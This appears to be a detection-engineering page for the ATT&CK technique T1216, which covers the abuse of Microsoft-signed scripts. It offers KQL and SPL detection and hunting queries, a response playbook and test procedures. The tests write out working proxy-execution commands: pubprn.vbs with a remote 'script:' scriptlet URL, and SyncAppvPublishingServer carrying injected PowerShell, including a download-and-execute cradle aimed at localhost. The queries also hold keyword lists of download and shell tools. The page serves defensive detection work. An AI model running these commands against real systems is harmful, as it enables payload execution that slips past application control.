T1216

System Script Proxy Execution

Defense Evasion Last updated:

Adversaries may use trusted scripts, often signed with Microsoft certificates, to proxy the execution of malicious files. Several Microsoft-signed scripts that ship with Windows or are downloadable from Microsoft can be abused to proxy execution of attacker-controlled content. Primary sub-techniques include PubPrn.vbs (a printer publishing script that accepts a 'script:' COM scriptlet URL as its second argument) and SyncAppvPublishingServer.vbs/exe (an App-V publishing script that passes arguments directly to a PowerShell pipeline). Because these scripts are signed by Microsoft, they may bypass application control policies (AppLocker, WDAC) that trust Microsoft-signed content, and they evade script-based detection that focuses on unsigned or unknown interpreters. The technique falls under Defense Evasion, making it a common component of initial access payloads and post-exploitation tooling.

What is T1216 System Script Proxy Execution?

System Script Proxy Execution (T1216) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.

This page provides production-ready detection logic for System Script Proxy Execution, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Defense Evasion
Technique
T1216 System Script Proxy Execution
Canonical reference
https://attack.mitre.org/techniques/T1216/
Microsoft Sentinel / Defender
kusto 
let SuspiciousProxyScripts = dynamic([
  "pubprn.vbs",
  "syncappvpublishingserver.vbs",
  "syncappvpublishingserver.exe"
]);
let ScriptletProtocols = dynamic(["script:", "scrobj.dll", "scriptlet"]);
// Branch 1: cscript/wscript executing known proxy scripts
let Branch1 = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("cscript.exe", "wscript.exe")
| where ProcessCommandLine has_any (SuspiciousProxyScripts)
| extend ProxyScript = case(
    ProcessCommandLine has_any ("pubprn.vbs"), "PubPrn",
    ProcessCommandLine has_any ("syncappvpublishingserver.vbs"), "SyncAppvPublishingServer.vbs",
    "Unknown"
  )
| extend ScriptletExec = ProcessCommandLine has_any (ScriptletProtocols)
| extend RemoteURL = extract(@"(https?://[^\s'""]+)", 1, ProcessCommandLine)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         ProxyScript, ScriptletExec, RemoteURL
| extend DetectionBranch = "ProxyScript_Execution";
// Branch 2: SyncAppvPublishingServer.exe running with PowerShell-like args (passes args to PS pipeline)
let Branch2 = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "syncappvpublishingserver.exe"
| where ProcessCommandLine has_any (
    "Start-Process", "Invoke-Expression", "IEX", "Net.WebClient",
    "DownloadString", "DownloadFile", "-enc", "-EncodedCommand",
    "Start-BitsTransfer", "cmd.exe", "powershell"
  )
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| extend ProxyScript = "SyncAppvPublishingServer.exe"
| extend ScriptletExec = false
| extend RemoteURL = extract(@"(https?://[^\s'""]+)", 1, ProcessCommandLine)
| extend DetectionBranch = "SyncAppv_PS_Proxy";
// Branch 3: Child processes spawned from known proxy script hosts indicating payload execution
let Branch3 = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("cscript.exe", "wscript.exe")
| where InitiatingProcessCommandLine has_any (SuspiciousProxyScripts)
| where FileName in~ (
    "powershell.exe", "pwsh.exe", "cmd.exe", "mshta.exe",
    "rundll32.exe", "regsvr32.exe", "certutil.exe", "msiexec.exe",
    "wmic.exe", "bitsadmin.exe", "curl.exe", "wget.exe"
  )
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| extend ProxyScript = "ParentProxyScript"
| extend ScriptletExec = false
| extend RemoteURL = ""
| extend DetectionBranch = "ProxyScript_ChildProcess";
union Branch1, Branch2, Branch3
| sort by Timestamp desc

Detects System Script Proxy Execution (T1216) using Microsoft Defender for Endpoint DeviceProcessEvents. Three detection branches: (1) cscript/wscript executing known proxy scripts (pubprn.vbs, syncappvpublishingserver.vbs) — identifies the 'script:' scriptlet protocol and extracts any remote URL; (2) SyncAppvPublishingServer.exe invoked with PowerShell-style arguments that get passed through to a PS pipeline; (3) child processes spawned from proxy script parents that indicate downstream payload execution. All branches capture parent process context for lateral movement and kill-chain analysis.

high severity high confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate printer publishing operations using PubPrn.vbs in enterprise printing environments — typically invoked by print administrators against a known print server, not a remote HTTP/HTTPS URL
  • App-V publishing infrastructure running SyncAppvPublishingServer.vbs/exe as part of scheduled application virtualization refresh — verify the server and account are expected in your App-V deployment
  • Security testing tools or red team exercises explicitly using LOLBAS scripts in an authorized penetration test — correlate with change management tickets
  • Software packaging scripts that invoke cscript.exe against Microsoft-signed VBScripts during application installation — check if the parent process is a trusted installer

Sigma rule & cross-platform mapping

The detection logic for System Script Proxy Execution (T1216) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1216 Sigma rules on detection.fyi

Platform-specific guides for T1216

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-13 Research depth: deep
References (9)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PubPrn.vbs Scriptlet Execution via script: Protocol

    Expected signal: Sysmon Event ID 1: Process Create with Image=cscript.exe, CommandLine containing 'pubprn.vbs' and 'script:http://127.0.0.1'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:8080 from cscript.exe. Security Event ID 4688 if command line auditing is enabled.

  2. Test 2SyncAppvPublishingServer.vbs PowerShell Pipeline Injection

    Expected signal: Sysmon Event ID 1: cscript.exe with CommandLine containing 'SyncAppvPublishingServer.vbs' and 'Write-Output'. Child process Sysmon Event ID 1: powershell.exe spawned by cscript.exe executing the injected command. Sysmon Event ID 11: File Create for t1216-test.txt in %TEMP%.

  3. Test 3SyncAppvPublishingServer.exe Direct Invocation with PowerShell Download Cradle

    Expected signal: Sysmon Event ID 1: SyncAppvPublishingServer.exe with CommandLine containing 'Invoke-Expression' and 'Net.WebClient'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:9090. Security Event ID 4688 with full command line.

  4. Test 4PubPrn.vbs Used from Non-Standard Location (Bypass Detection by Path)

    Expected signal: Sysmon Event ID 11: File Create for pubprn.vbs in %TEMP% (potential staging artifact). Sysmon Event ID 1: cscript.exe with CommandLine referencing %TEMP%\pubprn.vbs and the 'script:' URL. Sysmon Event ID 3: Network Connection attempt from cscript.exe.

Response Playbook

Triage

  1. Identify which proxy script was invoked and examine the full command line — for PubPrn.vbs, the second argument should be a printer share UNC path (\\server\printer) in legitimate use; a 'script:https://' or 'script:http://' argument is malicious. For SyncAppvPublishingServer.vbs, the first argument should be a numeric publishing server configuration, not PowerShell commands.
  2. Extract and inspect any remote URL in the command line — attempt to fetch the content in a sandboxed environment. For PubPrn-based attacks, the URL typically points to a .sct (COM scriptlet) file. Hash the file and check against threat intelligence (VirusTotal, MWDB).
  3. Identify the parent process that invoked the proxy script — legitimate use comes from explorer.exe (manual admin), taskeng.exe (scheduled task), or msiexec.exe (installer). Malicious invocations are commonly spawned from Office applications (winword.exe, excel.exe), browser processes, mshta.exe, or cmd.exe chains from phishing payloads.
  4. Check the user context — is the account a domain admin, standard user, or service account? Would this user normally manage printers or App-V publishing? Cross-reference against role-based access and recent helpdesk activity.
  5. Enumerate child processes spawned by cscript.exe/wscript.exe during the same time window using: DeviceProcessEvents | where InitiatingProcessFileName in~ ('cscript.exe','wscript.exe') | where Timestamp between (AlertTime-5m .. AlertTime+5m). Look for powershell.exe, cmd.exe, rundll32.exe, or network-connecting processes.
  6. Review network events from cscript.exe or wscript.exe around the alert time — any outbound HTTP/HTTPS connections to non-corporate infrastructure confirm remote scriptlet fetch or C2 callback.

Containment

  1. If remote scriptlet execution is confirmed: immediately isolate the endpoint from the network using EDR network isolation or emergency VLAN change to prevent C2 callback or lateral movement.
  2. Kill the cscript.exe/wscript.exe process and any child processes it spawned — use EDR live response to terminate PIDs identified in the investigation. Collect process memory dumps before killing if forensic capture is needed.
  3. Block the remote URL at proxy and DNS level: add the domain/IP to the web filtering deny list and create a DNS sinkhole entry. If the URL uses a CDN or domain fronting, block by full URL if your proxy supports it.
  4. If the compromised account has domain admin or service account privileges: disable the account immediately, invalidate Kerberos tickets (reset password twice), and revoke OAuth/cloud tokens. Coordinate with IAM team.
  5. Enforce AppLocker or WDAC rules to block cscript.exe and wscript.exe from executing scripts located outside C:\Windows\System32 and C:\Windows\SysWOW64 as a short-term mitigation. Review existing rules for Publisher conditions that may be too permissive for Microsoft-signed scripts.
  6. Collect memory from the affected host before reimaging — capture LSASS for credential theft analysis, running process list, and network connections using a forensic live response tool.

Evidence Collection

  1. Process Creation Events — Sysmon Event ID 1 for the full process tree: the proxy script invocation, its parent, and all child processes. Include command lines, hashes (MD5/SHA256), and timestamps.
  2. Network Connection Events — Sysmon Event ID 3 for any outbound connections from cscript.exe, wscript.exe, or their children. Capture destination IP, port, and DNS resolution chain.
  3. File Creation Events — Sysmon Event ID 11 for any files written to disk during or after script execution. Scriptlet-executed payloads may drop DLLs, EXEs, or scripts to temp directories.
  4. DNS Query Events — Sysmon Event ID 22 for domain lookups initiated by the script host process. Document all domains queried to map the full infrastructure.
  5. Script Content — If the remote .sct or scriptlet file was fetched, locate it in the browser cache, INetCache (C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache), or Prefetch. Hash and submit for analysis.
  6. Prefetch Files — C:\Windows\Prefetch\CSCRIPT.EXE-*.pf and WSCRIPT.EXE-*.pf contain execution timestamps and loaded module lists. Parse with tools like WinPrefetchView or PECmd.
  7. Windows Event Log — System Event ID 7045 and Security Event ID 4688 (with command line auditing) if Sysmon is unavailable. Check Application log for COM-related scriptlet registration errors that may indicate partial execution.
  8. Registry Artifacts — Check HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings for any modifications to script execution trust policy that may have been made to facilitate execution.

Escalation Criteria

  • ! Remote URL in the PubPrn.vbs 'script:' argument resolves to a live host or matches known threat actor infrastructure — this confirms active exploitation, not just a test.
  • ! Child processes with malicious behavior spawned from the proxy script: credential dumping tools (mimikatz, procdump targeting lsass), network scanning tools, or persistence mechanisms (schtasks, reg.exe writing Run keys).
  • ! The affected account has elevated privileges (Domain Admin, local Administrator, service account with broad access) — lateral movement risk is significantly higher.
  • ! Multiple endpoints showing the same proxy script invocation pattern within a short time window — this indicates automated propagation (worm behavior, GPO abuse, or mass phishing delivery).
  • ! Evidence of defense evasion alongside the proxy execution: firewall rule modifications, EDR agent tampering (process injection into security tool processes), or log clearing (Event ID 1102 — Security log cleared).
  • ! The scriptlet or downloaded payload is not detected by AV/EDR on-access scans, suggesting a novel or targeted payload — escalate to threat intelligence for further analysis.

Investigation Guide

Forensic Artifacts

  • > File System: C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache — cached .sct (COM scriptlet) files fetched by PubPrn.vbs via the 'script:' protocol; filenames may appear random
  • > File System: C:\Windows\Prefetch\CSCRIPT.EXE-*.pf and WSCRIPT.EXE-*.pf — execution timestamps, loaded DLLs, file paths accessed during execution
  • > File System: C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs — verify file integrity (hash) has not been tampered with; adversaries occasionally plant modified versions
  • > Registry: HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled — if set to 0, WSH is disabled; if set to 1 by an adversary, they may have re-enabled it to allow VBScript execution
  • > Registry: HKLM\SOFTWARE\Classes\scriptletfile\shell\open\command — COM scriptlet handler registration; check for tampering
  • > Event Log: Microsoft-Windows-AppLocker/EXE and DLL, Microsoft-Windows-AppLocker/Script — AppLocker audit/block events for cscript.exe invocations
  • > Event Log: Windows Script Host Error entries in the Application log (Source: WScript) — may contain partial script path/URL if execution failed mid-way
  • > Network: Proxy access logs for any HTTP GET to .sct file URLs or domains resolving to non-corporate infrastructure from the affected endpoint at the time of the alert

Tuning Guidance

Begin by inventorying legitimate use of PubPrn.vbs and SyncAppvPublishingServer.vbs in your environment. PubPrn.vbs is rarely needed in modern Windows environments (Windows Server 2012+ has PowerShell printer management cmdlets); if no printers are published via this script, any invocation is suspicious. For SyncAppvPublishingServer.vbs, check whether App-V is deployed in your environment at all — if not, any invocation is anomalous. If App-V is in use, build an allowlist of the specific accounts and task scheduler job names that legitimately invoke SyncAppvPublishingServer, and alert on everything outside that allowlist. The single highest-fidelity indicator is PubPrn.vbs with 'script:' as the second argument — this is never legitimate and should be a zero-tolerance alert. Similarly, SyncAppvPublishingServer.exe/vbs invoked with PowerShell download cradle patterns should always alert regardless of account. For environments where cscript/wscript are completely unused, consider a broader alert on any invocation of either binary from non-system parent processes.

Hunting Queries

Hunt for any execution of Microsoft proxy scripts over a 7-day window to baseline frequency and identify unusual spikes. Legitimate App-V environments may show regular SyncAppvPublishingServer.vbs execution — establish that baseline and look for deviations in timing, account, or parent process.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("cscript.exe", "wscript.exe")
| where ProcessCommandLine has_any ("pubprn.vbs", "syncappvpublishingserver.vbs")
| summarize
    Count = count(),
    Devices = dcount(DeviceName),
    Accounts = make_set(AccountName),
    CommandLines = make_set(ProcessCommandLine),
    Parents = make_set(InitiatingProcessFileName),
    Earliest = min(Timestamp),
    Latest = max(Timestamp)
  by bin(Timestamp, 1d)
| sort by Earliest asc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\cscript.exe" OR Image="*\\wscript.exe")
  (CommandLine="*pubprn.vbs*" OR CommandLine="*syncappvpublishingserver.vbs*")
| timechart span=1d count as Executions
| appendcols [search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\cscript.exe" OR Image="*\\wscript.exe")
  (CommandLine="*pubprn.vbs*" OR CommandLine="*syncappvpublishingserver.vbs*")
| stats dc(host) as Devices values(User) as Accounts by _time]

Hunt for cscript.exe or wscript.exe making outbound network connections to public IPs. In legitimate use, these script hosts rarely initiate outbound connections — any connection to a public IP from cscript/wscript is a high-fidelity indicator of remote scriptlet fetch or C2 activity.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("cscript.exe", "wscript.exe")
| where RemoteIPType == "Public" or RemoteUrl has_any ("script:", ".sct", "scriptlet")
| project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (Image="*\\cscript.exe" OR Image="*\\wscript.exe")
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| table _time, host, Image, CommandLine, DestinationIp, DestinationPort, DestinationHostname
| sort - _time

Hunt for processes spawned as children of proxy script invocations. This identifies what the scriptlet actually executed after it was loaded — finding cmd.exe, powershell.exe, or LOLBins as children confirms successful payload execution rather than a failed or benign invocation.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("cscript.exe", "wscript.exe")
| where InitiatingProcessCommandLine has_any ("pubprn.vbs", "syncappvpublishingserver.vbs")
| summarize
    ChildProcesses = make_set(FileName),
    ChildCommandLines = make_set(ProcessCommandLine),
    Count = count()
  by DeviceName, AccountName, InitiatingProcessCommandLine
| sort by Count desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (ParentImage="*\\cscript.exe" OR ParentImage="*\\wscript.exe")
  (ParentCommandLine="*pubprn.vbs*" OR ParentCommandLine="*syncappvpublishingserver.vbs*")
| stats values(Image) as ChildProcesses values(CommandLine) as ChildCommandLines count as SpawnCount by host, User, ParentCommandLine
| sort - SpawnCount

Atomic Red Team Tests

Test 1 PubPrn.vbs Scriptlet Execution via script: Protocol
windows

Simulates the most common T1216.001 attack: invoking PubPrn.vbs with a remote 'script:' URL as the second argument. PubPrn.vbs passes this argument to CreateObject('WScript.Network').EnumPrinterConnections() which processes the 'script:' protocol handler and fetches the remote COM scriptlet. In this safe test, the URL points to localhost on a port with no listener — the connection attempt will fail, but the process creation event and attempted network connection will fire, validating detection coverage.

Command

powershell 
cscript /nologo "%SystemRoot%\System32\Printing_Admin_Scripts\en-US\pubprn.vbs" 127.0.0.1 "script:http://127.0.0.1:8080/test.sct"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=cscript.exe, CommandLine containing 'pubprn.vbs' and 'script:http://127.0.0.1'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:8080 from cscript.exe. Security Event ID 4688 if command line auditing is enabled.

Expected Detection

KQL Branch1 fires: FileName=cscript.exe, ProcessCommandLine contains pubprn.vbs, ScriptletExec=true, RemoteURL extracted as 'http://127.0.0.1:8080/test.sct'. SPL SuspicionScore >= 5 (ScriptletExec=3 + RemoteURL=2).

Test 2 SyncAppvPublishingServer.vbs PowerShell Pipeline Injection
windows

Simulates T1216.002: invoking SyncAppvPublishingServer.vbs with a semicolon-delimited argument that injects arbitrary PowerShell commands after the App-V client check. The script passes the argument string to a PowerShell pipeline. When the App-V check fails (no App-V client installed), the injected command in the second semicolon-separated segment still executes. This test uses a benign command (Write-Output) to validate detection.

Command

powershell 
cscript "%SystemRoot%\System32\SyncAppvPublishingServer.vbs" "n; Write-Output 'T1216-test-execution' | Out-File $env:TEMP\t1216-test.txt"

Cleanup

powershell 
Remove-Item $env:TEMP\t1216-test.txt -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: cscript.exe with CommandLine containing 'SyncAppvPublishingServer.vbs' and 'Write-Output'. Child process Sysmon Event ID 1: powershell.exe spawned by cscript.exe executing the injected command. Sysmon Event ID 11: File Create for t1216-test.txt in %TEMP%.

Expected Detection

KQL Branch1 fires: ProcessCommandLine contains syncappvpublishingserver.vbs with suspicious PowerShell-like content. SPL alert fires with ProxyScript=SyncAppvPublishingServer.vbs. Child process hunting query captures powershell.exe as child of cscript.exe with proxy script in parent command line.

Test 3 SyncAppvPublishingServer.exe Direct Invocation with PowerShell Download Cradle
windows

Tests detection of SyncAppvPublishingServer.exe (the binary version) invoked with a PowerShell download cradle pattern. This is the more direct variant where the standalone exe is used instead of cscript + vbs. The download target is localhost to prevent external connections while still generating the relevant process creation telemetry.

Command

powershell 
SyncAppvPublishingServer.exe "n; Invoke-Expression(New-Object Net.WebClient).DownloadString('http://127.0.0.1:9090/payload')"

Expected Telemetry

Sysmon Event ID 1: SyncAppvPublishingServer.exe with CommandLine containing 'Invoke-Expression' and 'Net.WebClient'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:9090. Security Event ID 4688 with full command line.

Expected Detection

KQL Branch2 fires: FileName=syncappvpublishingserver.exe, ProcessCommandLine contains both Invoke-Expression and Net.WebClient. SPL alert fires with SuspicionScore >= 4 (RemoteURL + download cradle pattern).

Test 4 PubPrn.vbs Used from Non-Standard Location (Bypass Detection by Path)
windows

Tests a variant where the adversary copies pubprn.vbs to a user-writable temp directory before invocation, attempting to evade detections that match only the canonical system path. This also simulates a potential file integrity attack where a modified version is placed. The detection should match on the script filename regardless of path.

Command

powershell 
copy "%SystemRoot%\System32\Printing_Admin_Scripts\en-US\pubprn.vbs" "%TEMP%\pubprn.vbs" && cscript /nologo "%TEMP%\pubprn.vbs" 127.0.0.1 "script:http://127.0.0.1:8080/test.sct"

Cleanup

powershell 
del "%TEMP%\pubprn.vbs" 2>nul

Expected Telemetry

Sysmon Event ID 11: File Create for pubprn.vbs in %TEMP% (potential staging artifact). Sysmon Event ID 1: cscript.exe with CommandLine referencing %TEMP%\pubprn.vbs and the 'script:' URL. Sysmon Event ID 3: Network Connection attempt from cscript.exe.

Expected Detection

KQL Branch1 fires because ProcessCommandLine has_any match on 'pubprn.vbs' is case-insensitive and path-agnostic. SPL CommandLine wildcard match on '*pubprn.vbs*' triggers regardless of path prefix. SuspicionScore=5 minimum.

Related Detections

Tactic Hub

TA0005Defense Evasion

Sub-techniques (2)

Related Techniques

T1216.001PubPrnT1216.002SyncAppvPublishingServerT1218System Binary Proxy ExecutionT1218.005MshtaT1218.011Rundll32T1059.005Visual BasicT1059.001PowerShellT1105Ingress Tool TransferT1027Obfuscated Files or Information

Same Tactic: Defense Evasion

Popular Detections